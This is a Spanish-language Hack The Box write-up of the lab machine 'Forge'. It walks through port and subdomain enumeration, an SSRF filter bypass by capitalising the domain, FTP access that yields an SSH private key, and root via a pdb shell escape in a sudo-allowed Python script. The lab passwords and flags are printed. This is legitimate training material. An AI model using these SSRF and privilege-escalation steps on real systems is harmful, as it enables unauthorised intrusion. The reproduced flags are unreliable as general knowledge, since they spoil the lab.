This page looks best with JavaScript enabled

Hack The Box - Forge

 •  ✍️ sckull

En Forge encontramos una vulnerabilidad SSRF que nos permitió acceder por el servicio FTP donde encontramos una clave privada que nos dio acceso por SSH. Finalmente escalamos privilegios tras la ejecución de un script de python que utiliza PDB, haciendo que este genére un error para obtener una shell como root.

Nombre Forge box_img_maker
OS

Linux

Puntos 30
Dificultad Media
IP 10.10.11.111
Maker

NoobHacker9999

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[5.7, 4.8, 4.5, 5.5, 5.2],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[4, 3, 3, 7, 7],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

Nmap

Escaneo de puertos con nmap nos muestra el puerto http (80) y ssh (22) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# Nmap 7.91 scan initiated Sat Sep 11 20:26:28 2021 as: nmap -p22,80 -sC -sV -o nmap_scan 10.10.11.111
Nmap scan report for forge.htb (10.10.11.111)
Host is up (0.15s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
|   256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_  256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open  http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Gallery
Service Info: Host: 10.10.11.111; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Sep 11 20:26:40 2021 -- 1 IP address (1 host up) scanned in 11.53 seconds

Web Site

Vemos con curl que las solicitudes directas a la direccion IP redirigen hacia el dominio forge.htb, por ello agregamos este ultimo al archivo /etc/hosts.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
➜  forge curl -s 10.10.11.111
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://forge.htb">here</a>.</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 10.10.11.111 Port 80</address>
</body></html>
➜  forge curl -sI 10.10.11.111
HTTP/1.1 302 Found
Date: Sat, 11 Sep 2021 22:02:13 GMT
Server: Apache/2.4.41 (Ubuntu)
Location: http://forge.htb
Content-Type: text/html; charset=iso-8859-1

➜  forge

En el dominio se muestra unicamente una galeria de imagenes en la pagina de inicio.
image

Vemos un formulario para subir imagenes en Upload an image, donde se muestran dos opciones, subir archivos locales o subir archivos desde una url.
image

El codigo fuente de main.js muestra los formularios para ambas opciones.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function show_upload_local_file(argument) {
    var form_div = document.getElementById('form-div');
    form_div.innerHTML = `
        <form action="/upload" method="POST" enctype="multipart/form-data">
            <input type="file" name="file" class="file">
            <input name="local" type="hidden" value='1'>
            <br>
            <br>
            <button id="submit-local" type="submit" class="submit">Submit</button>
        </form>
        `;
}

function show_upload_remote_file(argument) {
    var form_div = document.getElementById('form-div');
    form_div.innerHTML = `
    <br><br>
        <form action="/upload" method="POST" enctype="application/x-www-form-urlencoded" >
            <input type="textbox" name="url" class="textbox">
            <input name="remote" type="hidden" value='1'>
            <br>
            <br>
            <button id="submit-remote" type="submit" class="submit">Submit</button>
        </form>
        `;
}

Directory Brute Forcing

Realizamos una enumeracion al sitio web utilizando feroxbuster, vemos la carpeta “uploads” donde probablemente se guarden los archivos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
➜  forge feroxbuster -u http://forge.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://forge.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.3.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
301        4l       24w      224c http://forge.htb/uploads
301        9l       28w      307c http://forge.htb/static
200       33l       58w      929c http://forge.htb/upload
301        9l       28w      314c http://forge.htb/static/images
301        9l       28w      310c http://forge.htb/static/js
403        9l       28w      274c http://forge.htb/server-status

Upload Image

Utilizamos netcat en el puerto 80 para ver que tipo de informacion obteniamos del servidor, enviando como archivo nuestra direccion IP. De lado de netcat vemos en User-Agent que es una solicitud hecha por medio de la libreria requests de Python.

1
2
3
4
5
6
7
8
9
➜  ~ nc -lvp 80
listening on [any] 80 ...
connect to [10.10.14.20] from forge.htb [10.10.11.111] 42642
GET /batman.x HTTP/1.1
Host: 10.10.14.20
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Por otro lado vemos un error en la pagina, donde vemos la clase HTTPConnectionPool perteneciente a urllib3.
image

Además al enviar una solicitud con nuestra direccion IP, se genera una direccion URL.
image

Al visitar esta direccion se muestra el contenido de la solicitud, más no se renderiza (a excepcion de imagenes) o ejecuta ningun tipo de archivo, además es una direccion aparentemente temporal, ya que al visitar la direccion nuevamente el contenido ya no existe.
image

Tambien vemos que las direcciones IP local o al dominio forge.htb estan restringidas.
image

Subdomains

Utilizamos ffuf para enumerar subdominios, vemos que existe admin.forge.htb.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
➜  forge ffuf -w /usr/share/wordlists/dirb/common.txt -mc 200 -u http://FUZZ.forge.htb

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://FUZZ.forge.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200
________________________________________________

admin                   [Status: 200, Size: 27, Words: 4, Lines: 2]
ADMIN                   [Status: 200, Size: 27, Words: 4, Lines: 2]
Admin                   [Status: 200, Size: 27, Words: 4, Lines: 2]
:: Progress: [4614/4614] :: Job [1/1] :: 5 req/sec :: Duration: [0:17:00] :: Errors: 4611 ::

Aunque al visitar esta direccion se muestra Only localhost is allowed!, utilizando diferentes headers para realizar “bypass” no permite el acceso.

SSRF

El formulario para subir imagenes tiene restringidas ciertas direcciones. Tras realizar distintas solicitudes y jugar con la url logramos obtener una respuesta que generó una url utilizando una letra mayuscula en la primera letra del dominio (admin.Forge.htb).
image

La url generada muestra el contenido o el index.html del subdominio, donde vemos dos nuevas direcciones (/announcements, /upload).
image

En la direccion /announcements vemos una lista de “caracteristicas” que perecen ser del subdominio. Se muestran credenciales para el servicio FTP, además la direccion /upload soporta el protocolo ftp(s) y http(s) para subir imagenes que es posible subir imagenes pasando una url en: ?u=[url].
image

Anuncios:

- An internal ftp server has been setup with credentials as user:heightofsecurity123!
- The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.
- The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=<url>.

FTP Listing

La funcionalidad descrita y las credenciales nuevas, nos permitieron acceder al servicio FTP con credenciales en la url lo que nos permitio listar la carpeta principal, donde vemos la flag user.txt y la carpeta snap.
image

Segun el formato URL de FTP dice que al enviar una solicitud /%2Fetc/motd el resultado es: acceder a /etc y obtener el archivo motd, de manera “similar” para //etc/motd. Esto nos permitió obtener la lista de usuarios en /etc/passwd.
image

Tambien descubrimos que la carpeta donde esta “configurado” el servicio FTP es en /home/user donde encontramos la carpeta .ssh/ con la clave privada de este usuario.
image

User - Shell

Utilizamos la clave privada para acceder por SSH, logrando obtener la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
➜  forge vim user_id_rsa
➜  forge chmod 600 user_id_rsa
➜  forge ssh user@forge.htb -i user_id_rsa # user:heightofsecurity123!
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon 13 Sep 2021 11:47:35 PM UTC

  System load:           0.0
  Usage of /:            43.6% of 6.82GB
  Memory usage:          21%
  Swap usage:            0%
  Processes:             220
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.111
  IPv6 address for eth0: dead:beef::250:56ff:feb9:6db0


0 updates can be applied immediately.


Last login: Fri Aug 20 01:32:18 2021 from 10.10.14.6
user@forge:~$ whoami;id;pwd
user
uid=1000(user) gid=1000(user) groups=1000(user)
/home/user
user@forge:~$ ls
snap  user.txt
user@forge:~$ cat user.txt
959589dbea8efb90d8f9d4c2c702c31d
user@forge:~$

Privesc

Tras ejecutar sudo -l -l vemos que el usuario puede ejecutar el script remote-manage.py.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
user@forge:~$ sudo -l -l
Matching Defaults entries for user on forge:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user may run the following commands on forge:

Sudoers entry:
    RunAsUsers: ALL
    RunAsGroups: ALL
    Options: !authenticate
    Commands:
    /usr/bin/python3 /opt/remote-manage.py

Vemos que el script pone a la escucha un puerto random y realiza diferentes acciones o ejecuta comandos tras ingresar la contraseña que se muestra en el codigo. Tambien observamos que utiliza la libreria pdb y, que, ante algun error entra en modo debugging y una shell interactiva pdb. Segun GTFOBins - PDB es posible ejecutar una shell (/bin/sh), para ello debemos de entrar en modo debugging generando algun tipo de error, en este caso vemos que obtiene un numero entero (int()) en las opciones, tras ingresar algun caracter deberia generar el error.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb

port = random.randint(1025, 65535)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('127.0.0.1', port))
    sock.listen(1)
    print(f'Listening on localhost:{port}')
    (clientsock, addr) = sock.accept()
    clientsock.send(b'Enter the secret passsword: ')
    if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
        clientsock.send(b'Wrong password!\n')
    else:
        clientsock.send(b'Welcome admin!\n')
        while True:
            clientsock.send(b'\nWhat do you wanna do: \n')
            clientsock.send(b'[1] View processes\n')
            clientsock.send(b'[2] View free memory\n')
            clientsock.send(b'[3] View listening sockets\n')
            clientsock.send(b'[4] Quit\n')
            option = int(clientsock.recv(1024).strip())
            if option == 1:
                clientsock.send(subprocess.getoutput('ps aux').encode())
            elif option == 2:
                clientsock.send(subprocess.getoutput('df').encode())
            elif option == 3:
                clientsock.send(subprocess.getoutput('ss -lnt').encode())
            elif option == 4:
                clientsock.send(b'Bye\n')
                break
except Exception as e:
    print(e)
    pdb.post_mortem(e.__traceback__)
finally:
    quit()

Tras ejecutar y conectarnos al puerto a la escucha ingresamos un texto lo que permitio que el script pasara a debugging y ejecutando /bin/sh obtener una shell como usuario root.
image

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:39646
invalid literal for int() with base 10: b'sckull'
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb) import os; os.system("/bin/sh")
# whoami
root
# cd /root
# ls
clean-uploads.sh  root.txt  snap
# cat root.txt
d6c1d34f7e87dae9027b5fe09661245d
# cat /home/user/user.txt
959589dbea8efb90d8f9d4c2c702c31d
#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe